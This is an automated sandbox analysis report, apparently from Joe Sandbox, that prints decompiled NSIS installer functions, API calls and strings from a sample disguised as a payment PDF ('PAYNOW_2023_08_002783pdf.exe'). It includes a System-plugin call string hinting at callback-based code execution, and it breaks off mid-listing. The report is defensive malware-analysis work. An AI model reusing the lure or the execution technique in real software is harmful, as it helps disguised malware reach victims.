Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: dj$respektlst Setup: Installing
API String ID: 3282139019-333481578
Opcode ID: 857bfcc41f9b23fdbf438cf5201a0997e2178b663a769a0cbaf99f2d8f44a802
Instruction ID: b3becc50dc3ae915ab1c9f271a4527fb908fa7fae9a455a684dda11466253fc4
Opcode Fuzzy Hash: 857bfcc41f9b23fdbf438cf5201a0997e2178b663a769a0cbaf99f2d8f44a802
Instruction Fuzzy Hash: 77C11071600204BFDB206F61ED49E2B3AB8FB85706F50053EF651B51F1CB799982AB2D

Uniqueness

Uniqueness Score: -1.00%

Function 004038D4 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E004038D4(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t17;
				void* _t25;
				void* _t27;
				int _t28;
				void* _t31;
				int _t34;
				int _t35;
				intOrPtr _t36;
				int _t39;
				char _t57;
				CHAR* _t59;
				signed char _t63;
				CHAR* _t74;
				intOrPtr _t76;
				CHAR* _t81;

				_t76 =  *0x424734;
				_t17 = E004064CA("true");
				_t84 = _t17;
				if(_t17 == 0) {
					_t74 = 0x420d28;
					"1033" = 0x30;
					 *0x42b001 = 0x78;
					 *0x42b002 = 0;
					E00405FA8(_t71, __eflags, 0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420d28, 0);
					__eflags =  *0x420d28; // 0x72
					if(__eflags == 0) {
						E00405FA8(_t71, __eflags, 0x80000003, ".DEFAULT\\Control Panel\\International",  &M0040836A, 0x420d28, 0);
					}
					lstrcatA("1033", _t74);
				} else {
					E0040601F("1033",  *_t17() & 0x0000ffff);
				}
				E00403B99(_t71, _t84);
				_t80 = "C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr";
				 *0x4247c0 =  *0x42473c & 0x00000020;
				 *0x4247dc = 0x10000;
				if(E00405B47(_t84, "C:\\Users\\Arthur\\AppData\\Local\\Temp\\valgmuligheder\\devirnr") != 0) {
					L16:
					if(E00405B47(_t92, _t80) == 0) {
						E00406154(0, _t74, _t76, _t80,  *((intOrPtr*)(_t76 + 0x118)));
					}
					_t25 = LoadImageA( *0x424720, 0x67, "true", 0, 0, 0x8040); // executed
					 *0x423f08 = _t25;
					if( *((intOrPtr*)(_t76 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t27 = E00403B99(_t71, __eflags);
							__eflags =  *0x4247e0;
							if( *0x4247e0 != 0) {
								_t28 = E004052BA(_t27, 0);
								__eflags = _t28;
								if(_t28 == 0) {
									E0040140B("true");
									goto L33;
								}
								__eflags =  *0x423eec; // 0x0
								if(__eflags == 0) {
									E0040140B("true");
								}
								goto L22;
							}
							ShowWindow( *0x420d08, "true"); // executed
							_t34 = E0040645C("RichEd20"); // executed
							__eflags = _t34;
							if(_t34 == 0) {
								E0040645C("RichEd32");
							}
							_t81 = "RichEdit20A";
							_t35 = GetClassInfoA(0, _t81, 0x423ec0);
							__eflags = _t35;
							if(_t35 == 0) {
								GetClassInfoA(0, "RichEdit", 0x423ec0);
								 *0x423ee4 = _t81;
								RegisterClassA(0x423ec0);
							}
							_t36 =  *0x423f00; // 0x0
							_t39 = DialogBoxParamA( *0x424720, _t36 + 0x00000069 & 0x0000ffff, 0, E00403C71, 0); // executed
							E00403824(E0040140B("true"), "true");
							return _t39;
						}
						L22:
						_push("true");
						_pop(_t31);
						return _t31;
					} else {
						_t71 =  *0x424720;
						 *0x423ec4 = E00401000;
						 *0x423ed0 =  *0x424720;
						 *0x423ed4 = _t25;
						 *0x423ee4 = 0x40a1f4;
						if(RegisterClassA(0x423ec0) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoA(0x30, 0,  &_v16, 0);
						 *0x420d08 = CreateWindowExA(0x80, 0x40a1f4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x424720, 0);
						goto L21;
					}
				} else {
					_t71 =  *(_t76 + 0x48);
					_t86 = _t71;
					if(_t71 == 0) {
						goto L16;
					}
					_t74 = 0x4236c0;
					E00405FA8(_t71, _t86,  *((intOrPtr*)(_t76 + 0x44)), _t71,  *((intOrPtr*)(_t76 + 0x4c)) +  *0x424778, 0x4236c0, 0);
					_t57 =  *0x4236c0; // 0x43
					if(_t57 == 0) {
						goto L16;
					}
					if(_t57 == 0x22) {
						_t74 = 0x4236c1;
						 *((char*)(E00405A84(0x4236c1, 0x22))) = 0;
					}
					_t59 = lstrlenA(_t74) + _t74 - 4;
					if(_t59 <= _t74 || lstrcmpiA(_t59, ?str?) != 0) {
						L15:
						E004060C1(_t80, E00405A59(_t74));
						goto L16;
					} else {
						_t63 = GetFileAttributesA(_t74);
						if(_t63 == 0xffffffff) {
							L14:
							E00405AA0(_t74);
							goto L15;
						}
						_t92 = _t63 & 0x00000010;
						if((_t63 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x004038da
0x004038e3
0x004038ea
0x004038ec
0x00403900
0x00403912
0x00403919
0x00403920
0x00403926
0x0040392b
0x00403931
0x00403944
0x00403944
0x0040394f
0x004038ee
0x004038f9
0x004038f9
0x00403954
0x0040395e
0x00403967
0x0040396c
0x0040397d
0x00403a04
0x00403a0c
0x00403a15
0x00403a15
0x00403a2b
0x00403a31
0x00403a3f
0x00403ac0
0x00403ac8
0x00403ad2
0x00403ad7
0x00403add
0x00403b67
0x00403b6c
0x00403b6e
0x00403b8a
0x00000000
0x00403b8a
0x00403b70
0x00403b76
0x00403b7e
0x00403b7e
0x00000000
0x00403b76
0x00403aeb
0x00403af6
0x00403afb
0x00403afd
0x00403b04
0x00403b04
0x00403b0f
0x00403b17
0x00403b19
0x00403b1b
0x00403b24
0x00403b27
0x00403b2d
0x00403b2d
0x00403b33
0x00403b4c
0x00403b5d
0x00000000
0x00403b62
0x00403aca
0x00403aca
0x00403acc
0x00000000
0x00403a41
0x00403a41
0x00403a4d
0x00403a57
0x00403a5d
0x00403a62
0x00403a71
0x00403b8f
0x00403b8f
0x00000000
0x00403b8f
0x00403a80
0x00403abb
0x00000000
0x00403abb
0x00403983
0x00403983
0x00403986
0x00403988
0x00000000
0x00000000
0x00403992
0x004039a2
0x004039a7
0x004039ae
0x00000000
0x00000000
0x004039b2
0x004039b4
0x004039c1
0x004039c1
0x004039c9
0x004039cf
0x004039f7
0x004039ff
0x00000000
0x004039e1
0x004039e2
0x004039eb
0x004039f1
0x004039f2
0x00000000
0x004039f2
0x004039ed
0x004039ef
0x00000000
0x00000000
0x00000000
0x004039ef
0x004039cf

APIs

Part of subcall function 004064CA: GetModuleHandleA.KERNEL32(?,?,?,00403385,0000000B), ref: 004064DC
Part of subcall function 004064CA: GetProcAddress.KERNEL32(00000000,?), ref: 004064F7

lstrcatA.KERNEL32(1033,respektlst Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,respektlst Setup: Installing,00000000,?,764B3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe",00000000), ref: 0040394F
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr,1033,respektlst Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,respektlst Setup: Installing,00000000,?,764B3410), ref: 004039C4
lstrcmpiA.KERNEL32(?,.exe), ref: 004039D7
GetFileAttributesA.KERNEL32(Call), ref: 004039E2
LoadImageA.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr), ref: 00403A2B

Part of subcall function 0040601F: wsprintfA.USER32 ref: 0040602C

RegisterClassA.USER32(00423EC0), ref: 00403A68
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403A80
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AB5
ShowWindow.USER32(?,00000000), ref: 00403AEB
GetClassInfoA.USER32(00000000,RichEdit20A,00423EC0), ref: 00403B17
GetClassInfoA.USER32(00000000,RichEdit,00423EC0), ref: 00403B24
RegisterClassA.USER32(00423EC0), ref: 00403B2D
DialogBoxParamA.USER32(?,00000000,00403C71,00000000), ref: 00403B4C

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00403908
RichEdit, xrefs: 00403B1E
RichEd20, xrefs: 00403AF1
RichEdit20A, xrefs: 00403B0F, 00403B15
1033, xrefs: 004038F4, 0040394A
Call, xrefs: 00403992, 0040399A, 004039A7, 004039F1, 004039F7
_Nb, xrefs: 00403A47, 00403AAF
.DEFAULT\Control Panel\International, xrefs: 0040393A
respektlst Setup: Installing, xrefs: 00403900, 00403906, 0040392B, 00403934, 00403949
C:\Users\user\AppData\Local\Temp\, xrefs: 004038D9
"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe", xrefs: 004038D8
.exe, xrefs: 004039D1
C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr, xrefs: 0040395E, 00403966, 004039FE, 00403A04, 00403A14
RichEd32, xrefs: 00403AFF

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb$respektlst Setup: Installing
API String ID: 1975747703-1697765478
Opcode ID: 081296fa7c8de2b7a02c35f588829085b9e46e1b7598f4f8ddfd1d39f01510c1
Instruction ID: 8119f10372a92e3ad89c0c28339df669361e1c2b2a074a7ad4fa5a04607ec86b
Opcode Fuzzy Hash: 081296fa7c8de2b7a02c35f588829085b9e46e1b7598f4f8ddfd1d39f01510c1
Instruction Fuzzy Hash: CC61B4703402446ED620AF65AD45F3B3AACEB8574AF40053FF991B62E3CB7D5D029A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA1 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E00402EA1(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\Arthur\\Desktop\\PAYNOW_2023_08_002783pdf.exe";
				 *0x424730 = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\Arthur\\Desktop\\PAYNOW_2023_08_002783pdf.exe", 0x400);
				_t89 = E00405C5A(_t91, 0x80000000, "true");
				_v16 = _t89;
				 *0x40a018 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\Arthur\\Desktop";
				E004060C1("C:\\Users\\Arthur\\Desktop", _t91);
				E004060C1(0x42c000, E00405AA0(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x41f8e4 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402E3D("true");
					__eflags =  *0x424738 - _t82;
					if( *0x424738 == _t82) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						E004032CA( *0x424738 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E004030D8(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x424734 = _t94;
							 *0x42473c =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x424740 =  *0x424740 + 1;
								__eflags =  *0x424740;
							}
							_push("true");
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_pop(_t85);
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, "true"); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405C15(0x424760, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E004032CA( *0x4138d8);
					_t65 = E004032B4( &_a4, "true");
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x424738) & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E004032B4(0x40b8d8, _t90);
						__eflags = _t71;
						if(_t71 == 0) {
							E00402E3D("true");
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x424738;
						if( *0x424738 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402E3D(0);
							}
							goto L20;
						}
						E00405C15( &_v44, 0x40b8d8, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x4138d8; // 0x33600
						 *0x4247e0 =  *0x4247e0 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x424738 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t24 = _t80 - 4; // 0x40a194
							_t93 = _t24;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x41f8e4; // 0x769c8
						if(__eflags < 0) {
							_v12 = E00406581(_v12, 0x40b8d8, _t90);
						}
						 *0x4138d8 =  *0x4138d8 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 != 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

0x00402ea9
0x00402eac
0x00402eaf
0x00402eb2
0x00402eb8
0x00402ec9
0x00402ece
0x00402ee1
0x00402ee6
0x00402ee9
0x00402eef
0x00000000
0x00402ef1
0x00402efc
0x00402f02
0x00402f13
0x00402f1a
0x00402f20
0x00402f22
0x00402f27
0x00402f29
0x00403014
0x00403016
0x0040301b
0x00403022
0x00000000
0x00000000
0x00403024
0x00403027
0x0040304b
0x00403050
0x00403056
0x00403061
0x00403066
0x00403069
0x0040306a
0x0040306b
0x0040306d
0x00403072
0x00403075
0x00403088
0x0040308c
0x00403094
0x00403099
0x0040309b
0x0040309b
0x0040309b
0x004030a1
0x004030a3
0x004030a3
0x004030a6
0x004030a7
0x004030a7
0x004030aa
0x004030ac
0x004030ac
0x004030ac
0x004030b6
0x004030bc
0x004030ca
0x004030cf
0x00000000
0x004030cf
0x00000000
0x00403075
0x0040302f
0x0040303a
0x0040303f
0x00403041
0x00000000
0x00000000
0x00403046
0x00403049
0x00000000
0x00000000
0x00000000
0x00402f2f
0x00402f34
0x00402f39
0x00402f3d
0x00402f44
0x00402f49
0x00402f4b
0x00402f4d
0x00402f4d
0x00402f51
0x00402f56
0x00402f58
0x00403080
0x00403077
0x00000000
0x00403077
0x00402f5e
0x00402f65
0x00402fe1
0x00402fe5
0x00402fe9
0x00402fee
0x00000000
0x00402fe5
0x00402f6e
0x00402f73
0x00402f76
0x00402f7b
0x00000000
0x00000000
0x00402f7d
0x00402f84
0x00000000
0x00000000
0x00402f86
0x00402f8d
0x00000000
0x00000000
0x00402f8f
0x00402f96
0x00000000
0x00000000
0x00402f98
0x00402f9f
0x00000000
0x00000000
0x00402fa1
0x00402fa7
0x00402fb0
0x00402fb6
0x00402fb9
0x00402fbb
0x00402fc1
0x00000000
0x00000000
0x00402fc7
0x00402fcb
0x00402fd3
0x00402fd3
0x00402fd6
0x00402fd6
0x00402fd9
0x00402fdb
0x00402fdd
0x00402fdd
0x00000000
0x00402fdb
0x00402fcd
0x00402fd1
0x00000000
0x00000000
0x00000000
0x00402fef
0x00402fef
0x00402ff5
0x00403001
0x00403001
0x00403004
0x0040300a
0x0040300a
0x0040300a
0x00403012
0x00403012
0x00000000
0x00403012

APIs

GetTickCount.KERNEL32 ref: 00402EB2
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe,00000400), ref: 00402ECE

Part of subcall function 00405C5A: GetFileAttributesA.KERNELBASE(?,00402EE1,C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe,80000000,?), ref: 00405C5E
Part of subcall function 00405C5A: CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405C80

GetFileSize.KERNEL32(00000000,00000000,0042C000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe,C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe,80000000,?), ref: 00402F1A
GlobalAlloc.KERNELBASE(00000040,00000020), ref: 00403050

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00403077
Inst, xrefs: 00402F86
Null, xrefs: 00402F98
C:\Users\user\Desktop, xrefs: 00402EFC, 00402F01, 00402F07
C:\Users\user\AppData\Local\Temp\, xrefs: 00402EA8
"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe", xrefs: 00402EA1
C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe, xrefs: 00402EB8, 00402EC7, 00402EDB, 00402EFB
soft, xrefs: 00402F8F
Error launching installer, xrefs: 00402EF1

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-2818202926
Opcode ID: 1fdbf8666ac545bea4b4f259f72344d0a52c8dbd42631ed96dcafa73090d8d3a
Instruction ID: 301210c85c1c672c97290be40cd2ab013445f980247fce5a821d6afddb5369d2
Opcode Fuzzy Hash: 1fdbf8666ac545bea4b4f259f72344d0a52c8dbd42631ed96dcafa73090d8d3a
Instruction Fuzzy Hash: 8851C171A01204ABDF20AF65DD85BAE7FB8EB40369F11413BF504B22D5C7789E818B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00406154 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00406154(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				struct _ITEMIDLIST* _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t38;
				CHAR* _t39;
				signed int _t41;
				char _t52;
				char _t53;
				char _t55;
				char _t57;
				void* _t65;
				char* _t66;
				signed int _t80;
				intOrPtr _t86;
				char _t88;
				void* _t89;
				CHAR* _t90;
				void* _t92;
				signed int _t97;
				signed int _t99;
				void* _t100;

				_t92 = __esi;
				_t89 = __edi;
				_t65 = __ebx;
				_t38 = _a8;
				if(_t38 < 0) {
					_t86 =  *0x423efc; // 0x6b03ef
					_t38 =  *(_t86 - 4 + _t38 * 4);
				}
				_push(_t65);
				_push(_t92);
				_push(_t89);
				_t66 = _t38 +  *0x424778;
				_t39 = 0x4236c0;
				_t90 = 0x4236c0;
				if(_a4 >= 0x4236c0 && _a4 - 0x4236c0 < 0x800) {
					_t90 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t88 =  *_t66;
					if(_t88 == 0) {
						break;
					}
					__eflags = _t90 - _t39 - 0x400;
					if(_t90 - _t39 >= 0x400) {
						break;
					}
					_t66 = _t66 + 1;
					__eflags = _t88 - 4;
					_a8 = _t66;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t90 = _t88;
							_t90 =  &(_t90[1]);
							__eflags = _t90;
						} else {
							 *_t90 =  *_t66;
							_t90 =  &(_t90[1]);
							_t66 = _t66 + 1;
						}
						continue;
					}
					_t41 =  *((char*)(_t66 + 1));
					_t80 =  *_t66;
					_t97 = (_t41 & 0x0000007f) << 0x00000007 | _t80 & 0x0000007f;
					_v24 = _t80;
					_v28 = _t80 | 0x00000080;
					_v16 = _t41;
					_v20 = _t41 | 0x00000080;
					_t66 = _a8 + 2;
					__eflags = _t88 - 2;
					if(_t88 != 2) {
						__eflags = _t88 - 3;
						if(_t88 != 3) {
							__eflags = _t88 - 1;
							if(_t88 == 1) {
								__eflags = (_t41 | 0xffffffff) - _t97;
								E00406154(_t66, _t90, _t97, _t90, (_t41 | 0xffffffff) - _t97);
							}
							L42:
							_t90 =  &(_t90[lstrlenA(_t90)]);
							_t39 = 0x4236c0;
							continue;
						}
						__eflags = _t97 - 0x1d;
						if(_t97 != 0x1d) {
							__eflags = "kernel32::EnumResourceTypesW(i0,ir1,i0)" + (_t97 << 0xa);
							E004060C1(_t90, "kernel32::EnumResourceTypesW(i0,ir1,i0)" + (_t97 << 0xa));
						} else {
							E0040601F(_t90,  *0x424728);
						}
						__eflags = _t97 + 0xffffffeb - 7;
						if(_t97 + 0xffffffeb < 7) {
							L33:
							E0040639C(_t90);
						}
						goto L42;
					}
					_t52 =  *0x42472c;
					_push("true");
					__eflags = _t52;
					_pop(_t99);
					if(_t52 >= 0) {
						L13:
						_a8 = 1;
						L14:
						__eflags =  *0x4247c4;
						if( *0x4247c4 != 0) {
							_push("true");
							_pop(_t99);
						}
						__eflags = _t80;
						if(__eflags >= 0) {
							__eflags = _t80 - 0x25;
							if(_t80 != 0x25) {
								__eflags = _t80 - 0x24;
								if(_t80 == 0x24) {
									GetWindowsDirectoryA(_t90, 0x400);
									_t99 = 0;
								}
								while(1) {
									__eflags = _t99;
									if(_t99 == 0) {
										goto L30;
									}
									_t53 =  *0x424724;
									_t99 = _t99 - 1;
									__eflags = _t53;
									if(_t53 == 0) {
										L26:
										_t55 = SHGetSpecialFolderLocation( *0x424728,  *(_t100 + _t99 * 4 - 0x18),  &_v8);
										__eflags = _t55;
										if(_t55 != 0) {
											L28:
											 *_t90 =  *_t90 & 0x00000000;
											__eflags =  *_t90;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v8, _t90);
										_v12 = _t55;
										__imp__CoTaskMemFree(_v8);
										__eflags = _v12;
										if(_v12 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _a8;
									if(_a8 == 0) {
										goto L26;
									}
									_t57 =  *_t53( *0x424728,  *(_t100 + _t99 * 4 - 0x18), 0, 0, _t90); // executed
									__eflags = _t57;
									if(_t57 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryA(_t90, 0x400);
							goto L30;
						} else {
							E00405FA8((_t80 & 0x0000003f) +  *0x424778, __eflags, 0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t80 & 0x0000003f) +  *0x424778, _t90, _t80 & 0x00000040);
							__eflags =  *_t90;
							if( *_t90 != 0) {
								L31:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t90, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L33;
							}
							E00406154(_t66, _t90, _t99, _t90, _v16);
							L30:
							__eflags =  *_t90;
							if( *_t90 == 0) {
								goto L33;
							}
							goto L31;
						}
					}
					__eflags = _t52 - 0x5a04;
					if(_t52 == 0x5a04) {
						goto L13;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L13;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L13;
					} else {
						_a8 = _a8 & 0x00000000;
						goto L14;
					}
				}
				 *_t90 =  *_t90 & 0x00000000;
				if(_a4 == 0) {
					return _t39;
				}
				return E004060C1(_a4, _t39);
			}

0x00406154
0x00406154
0x00406154
0x0040615a
0x0040615f
0x00406161
0x00406170
0x00406170
0x00406178
0x00406179
0x0040617a
0x0040617b
0x0040617e
0x00406186
0x00406188
0x0040619f
0x004061a2
0x004061a2
0x00406379
0x00406379
0x0040637d
0x00000000
0x00000000
0x004061af
0x004061b5
0x00000000
0x00000000
0x004061bb
0x004061bc
0x004061bf
0x004061c2
0x0040636c
0x00406376
0x00406378
0x00406378
0x0040636e
0x00406370
0x00406372
0x00406373
0x00406373
0x00000000
0x0040636c
0x004061c8
0x004061cc
0x004061dc
0x004061e3
0x004061e6
0x004061ee
0x004061f1
0x004061f8
0x004061f9
0x004061fc
0x00406319
0x0040631c
0x0040634c
0x0040634f
0x00406354
0x00406358
0x00406358
0x0040635d
0x00406363
0x00406365
0x00000000
0x00406365
0x0040631e
0x00406321
0x00406336
0x0040633d
0x00406323
0x0040632a
0x0040632a
0x00406345
0x00406348
0x00406311
0x00406312
0x00406312
0x00000000
0x00406348
0x00406202
0x00406207
0x00406209
0x0040620b
0x0040620c
0x00406226
0x00406226
0x0040622d
0x0040622d
0x00406234
0x00406236
0x00406238
0x00406238
0x00406239
0x0040623b
0x00406274
0x00406277
0x00406287
0x0040628a
0x00406292
0x00406298
0x00406298
0x004062f7
0x004062f7
0x004062f9
